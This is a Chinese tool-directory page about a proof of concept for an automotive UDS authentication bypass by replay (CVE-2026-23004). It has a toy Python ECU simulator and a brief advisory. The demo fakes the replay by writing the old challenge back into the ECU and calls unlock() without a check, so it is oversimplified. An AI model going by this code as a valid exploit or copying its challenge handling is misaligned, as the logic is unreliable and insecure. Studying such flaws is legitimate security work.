Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-23004-Automotive-UDS-Authentication-Bypass-via-Replay-Attack — 概念验证漏洞利用,演示了通过挑战-响应重放绕过汽车 ECU 上的 UDS 身份验证,并附带 Python CAN-UDS 模拟器。 | Kitploit
工具/GitHubGitHub/george0papasotiriou/cve-2026-23004-automotive-uds-authentication-bypass-via-replay-attack
身份验证与授权嵌入式系统安全物联网安全漏洞分析漏洞利用渗透测试硬件与物联网安全
GitHubgeorge0papasotiriou/cve-2026-23004-automotive-uds-authentication-bypass-via-replay-attack

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-23004-Automotive-UDS-Authentication-Bypass-via-Replay-Attack

概念验证漏洞利用,演示了通过挑战-响应重放绕过汽车 ECU 上的 UDS 身份验证,并附带 Python CAN-UDS 模拟器。

查看仓库
115天前尚未审核

CVE-2026-23004 – 汽车UDS认证绕过(重放攻击)

程序代码(Python CAN‑UDS 模拟器)

root@kitploit:~
# uds_sim.py - ECU that authenticates with a simple challenge
import random, hashlib

class ECU:
    def __init__(self):
        self.secret = b'long_secret_key'
    def generate_challenge(self):
        self.challenge = random.randbytes(8)
        return self.challenge
    def verify_response(self, response):
        expected = hashlib.sha256(self.secret + self.challenge).digest()[:8]
        return response == expected
    def unlock(self):
        print("ECU unlocked! Critical functions accessible.")

# Attacker captures a valid challenge-response pair
ecu = ECU()
challenge = ecu.generate_challenge()
# Legitimate tool computes response (simplified)
response = hashlib.sha256(ecu.secret + challenge).digest()[:8]
ecu.verify_response(response)  # first unlock

# Replay the same challenge-response
ecu.challenge = challenge
ecu.verify_response(response)  # second unlock without new challenge - works
ecu.unlock()

CVE-2026-23004 – 汽车UDS认证绕过(重放攻击)

Severity: High

概述

汽车 ECU 实现了统一诊断服务(UDS)安全访问(服务 0x27),但未强制要求挑战值一次性使用。攻击者可捕获有效的挑战-响应配对并重放,从而绕过认证。

漏洞详情

  • 类型: 重放攻击
  • 影响: 未经授权的 ECU 编程、安全功能覆盖。
  • 根本原因: ECU 接受与当前挑战值匹配的任何响应,但同一挑战值可被重复使用而不会被失效。

漏洞利用演示

运行模拟:

root@kitploit:~
python uds_sim.py

ECU 使用同一认证配对解锁两次。

下载工具